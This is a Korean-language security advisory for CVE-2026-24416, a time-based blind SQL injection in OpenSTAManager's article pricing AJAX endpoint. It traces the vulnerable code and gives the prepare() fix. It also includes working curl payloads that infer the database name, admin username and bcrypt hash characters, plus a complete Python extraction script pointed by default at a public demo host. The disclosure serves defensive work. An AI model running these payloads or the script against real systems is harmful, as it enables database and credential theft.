
CVE-2026-24416 - OpenSTAManager의 품목 가격 책정 모듈에 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다.
| 필드 | 세부 정보 |
|---|---|
| CVE ID | CVE-2026-24416 |
| 심각도 | 높음 |
| 보안 권고 | 보안 권고 보기 |
| 발견자 | Lukasz Rybak |
OpenSTAManager v2.9.8의 아티클 가격 책정 모듈에 있는 심각한 시간 기반 블라인드 SQL 인젝션 취약점으로 인해 인증된 공격자가 시간 기반 부울 추론 공격을 통해 사용자 자격 증명, 고객 데이터, 재무 기록을 포함한 전체 데이터베이스 내용을 추출할 수 있습니다.
상태: ✅ 라이브 인스턴스(v2.9.8) 및 demo.osmbusiness.it(v2.9.7)에서 확인 및 테스트 완료
취약한 파라미터: idarticolo (GET)
영향을 받는 엔드포인트: /ajax_complete.php?op=getprezzi
영향을 받는 모듈: Articoli (아티클/제품)
OpenSTAManager v2.9.8에는 아티클 가격 자동 완성 핸들러에 심각한 시간 기반 블라인드 SQL 인젝션 취약점이 존재합니다. 이 애플리케이션은 SQL 쿼리에서 idarticolo 파라미터를 사용하기 전에 제대로 삭제하지 못하여, 공격자가 임의의 SQL 명령을 주입하고 시간 기반 부울 추론을 통해 민감한 데이터를 추출할 수 있습니다.
취약점 체인:
진입점: /ajax_complete.php (27행)
$op = get('op');
$result = AJAX::complete($op);
op 파라미터가 검색되지만 취약점은 다른 파라미터에 있습니다.
전파: /src/AJAX.php::complete() (189행)
$result = self::getCompleteResults($file, $resource);
실행: /src/AJAX.php::getCompleteResults() (402행)
require $file;
모듈별 complete.php 파일이 포함됩니다.
취약한 파라미터: /modules/articoli/ajax/complete.php (26행)
$idarticolo = get('idarticolo');
idarticolo 파라미터는 GET 요청에서 검색됩니다.
취약한 SQL 쿼리: /modules/articoli/ajax/complete.php (70행)
컨텍스트 - 전체 쿼리 구조 (39-74행):
취약한 쿼리는 인보이스와 납품서에서 가격 이력을 가져오는 UNION 쿼리의 일부입니다:
$documenti = $dbo->fetchArray('
SELECT
`iddocumento` AS id,
"Fattura" AS tipo,
"Fatture di vendita" AS modulo,
(`subtotale`-`sconto`)/`qta` AS costo_unitario,
...
FROM
`co_righe_documenti`
INNER JOIN `co_documenti` ON `co_documenti`.`id` = `co_righe_documenti`.`iddocumento`
INNER JOIN `co_tipidocumento` ON `co_tipidocumento`.`id` = `co_documenti`.`idtipodocumento`
WHERE
`idarticolo`='.prepare($idarticolo).' AND ... # ✓ PROPERLY SANITIZED (Line 54)
UNION
SELECT
`idddt` AS id,
"Ddt" AS tipo,
...
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND # ✗ VULNERABLE - NO prepare() (Line 70)
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
ORDER BY
`id` DESC LIMIT 0,5');
근본 원인: 개발자는 첫 번째 SELECT(54행)에서 prepare()를 올바르게 사용했지만 UNION 쿼리의 두 번째 SELECT(70행)에서는 prepare()를 사용하지 않아 일관되지 않은 보안 패턴이 발생했습니다.
1단계: 로그인
curl -c /tmp/cookies.txt -X POST 'http://localhost:8081/index.php?op=login' \
-d 'username=admin&password=admin'
2단계: 취약점 확인 (시간 기반 SLEEP)
# Test with SLEEP(10)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(10)))a)" \
> /dev/null
# Result: real 0m10.32s (10.32 seconds)
# Test with SLEEP(3) - should take ~3 seconds
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(3)))a)" \
> /dev/null
# Result: real 0m3.36s (3.36 seconds)
# Test without SLEEP
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1" \
> /dev/null
# Result: real 0m0.31s (0.31 seconds)
3단계: 데이터 추출 - 데이터베이스 이름
# Extract first character of database name
# Test if first char is 'o' (expected: TRUE for 'openstamanager')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - condition TRUE)
# Test if first char is 'x' (expected: FALSE)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,1)=%27x%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m0.31s (SLEEP not executed - condition FALSE)
# Extract second character (expected: 'p')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),2,1)=%27p%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.34s (SLEEP executed - confirms second char is 'p')
# Extract first 3 characters (expected: 'ope')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20SUBSTRING(DATABASE(),1,3)=%27ope%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms 'ope...')
4단계: 민감 데이터 추출 - 관리자 자격 증명
# Extract admin username (test if first 5 chars are 'admin')
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(username,1,5)%20FROM%20zz_users%20WHERE%20id=1)=%27admin%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms admin username)
# Extract first character of password hash (expected: '$' for bcrypt)
time curl -s -b /tmp/cookies.txt \
"http://localhost:8081/ajax_complete.php?op=getprezzi&idanagrafica=1&idarticolo=1%20AND%20(SELECT%20SUBSTRING(password,1,1)%20FROM%20zz_users%20WHERE%20id=1)=%27%24%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)" \
> /dev/null
# Result: real 0m2.33s (SLEEP executed - confirms bcrypt hash format)
페이로드 설명:
Original payload: 1 AND SUBSTRING(DATABASE(),1,1)='o' AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
URL-encoded: 1%20AND%20SUBSTRING(DATABASE(),1,1)=%27o%27%20AND%20(SELECT%201%20FROM%20(SELECT(SLEEP(2)))a)
Injection breakdown:
1. 1 - Valid article ID
2. AND SUBSTRING(DATABASE(),1,1)='o' - Boolean condition to test
3. AND (SELECT 1 FROM (SELECT(SLEEP(2)))a) - Execute SLEEP(2) if condition is true
SQL Query Result:
WHERE
`idarticolo`=1
AND SUBSTRING(DATABASE(),1,1)='o'
AND (SELECT 1 FROM (SELECT(SLEEP(2)))a)
AND `dt_tipiddt`.`dir`="entrata"
AND `idanagrafica`=1
자동 추출 스크립트 예제:
import requests
import time
import string
import sys
# Default Configuration
BASE_URL = "https://demo.osmbusiness.it"
USERNAME = "demo"
PASSWORD = "demodemo1"
SLEEP_TIME = 3 # Increased to 3s for stability on remote demo instance
def login(session, base_url, user, pwd):
"""Authenticates to the application and maintains session."""
login_url = f"{base_url}/index.php?op=login"
data = {"username": user, "password": pwd}
print(f"[*] Attempting login to: {login_url}...")
try:
response = session.post(login_url, data=data, timeout=10)
# Check if login was successful (usually indicated by presence of logout link or redirect)
if "logout" in response.text.lower() or response.status_code == 200:
print("[+] Login successful!")
return True
else:
print("[-] Login failed. Please check credentials.")
return False
except Exception as e:
print(f"[!] Connection error: {e}")
return False
def extract_data(session, base_url, sql_query, label="Data"):
"""Extracts data character by character until the end of the string is reached."""
print(f"\n[*] Extracting: {label}...")
result = ""
position = 1
target_endpoint = f"{base_url}/ajax_complete.php"
# Charset optimized for database names and bcrypt hashes ($, ., /)
charset = string.ascii_letters + string.digits + "$./" + string.punctuation
while True:
found_char = False
for char in charset:
# Payload: If the condition is true, the server sleeps for SLEEP_TIME
# Using ORD() and SUBSTRING() to handle various character types safely
payload = f"1 AND (SELECT 1 FROM (SELECT IF(ORD(SUBSTRING(({sql_query}),{position},1))={ord(char)},SLEEP({SLEEP_TIME}),0))a)"
params = {
"op": "getprezzi",
"idanagrafica": "1",
"idarticolo": payload
}
try:
start_time = time.time()
session.get(target_endpoint, params=params, timeout=SLEEP_TIME + 10)
elapsed = time.time() - start_time
if elapsed >= SLEEP_TIME:
result += char
found_char = True
sys.stdout.write(f"\r[+] {label} [{position}]: {result}")
sys.stdout.flush()
break
except requests.exceptions.RequestException:
# Handle network jitter/timeouts by retrying or continuing
continue
# If no character from charset triggered a sleep, we've reached the end of the data
if not found_char:
print(f"\n[!] End of string or no data found at position {position}.")
break
position += 1
return result
def main():
s = requests.Session()
# Allow target URL to be passed as a command line argument
target = sys.argv[1] if len(sys.argv) > 1 else BASE_URL
if login(s, target, USERNAME, PASSWORD):
# 1. Database name extraction
db = extract_data(s, target, "SELECT DATABASE()", "Database Name")
# 2. Admin username extraction
user = extract_data(s, target, "SELECT username FROM zz_users WHERE id=1", "Admin Username (id=1)")
# 3. Password hash extraction (Bcrypt hashes are ~60 chars; the loop handles this automatically)
pwd_hash = extract_data(s, target, "SELECT password FROM zz_users WHERE id=1", "Password Hash")
print(f"\n\n{'='*35}")
print(f" FINAL REPORT")
print(f"{'='*35}")
print(f"Target URL: {target}")
print(f"Database: {db}")
print(f"Username: {user}")
print(f"Hash: {pwd_hash}")
print(f"{'='*35}")
if __name__ == "__main__":
main()
영향을 받는 사용자: 아티클 가격 기능에 접근할 수 있는 모든 인증 사용자 (일반적으로 견적, 인보이스, 주문을 관리하는 사용자)
권장 수정 사항:
파일: /modules/articoli/ajax/complete.php
수정 전 (취약 - 70행):
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
수정 후 (해결됨):
WHERE
`idarticolo`='.prepare($idarticolo).' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
발견자: Łukasz Rybak
이 CVE는 조정된 취약점 공개 절차에 따라 책임감 있게 공개되었습니다. 여기에 제공된 정보는 교육 및 방어 목적으로만 사용됩니다.
FROM
`dt_righe_ddt`
INNER JOIN `dt_ddt` ON `dt_ddt`.`id` = `dt_righe_ddt`.`idddt`
INNER JOIN `dt_tipiddt` ON `dt_tipiddt`.`id` = `dt_ddt`.`idtipoddt`
WHERE
`idarticolo`='.$idarticolo.' AND
`dt_tipiddt`.`dir`="entrata" AND
`idanagrafica`='.prepare($idanagrafica).'
영향: $idanagrafica는 제대로 삭제되는 반면, $idarticolo는 prepare() 없이 직접 연결됩니다.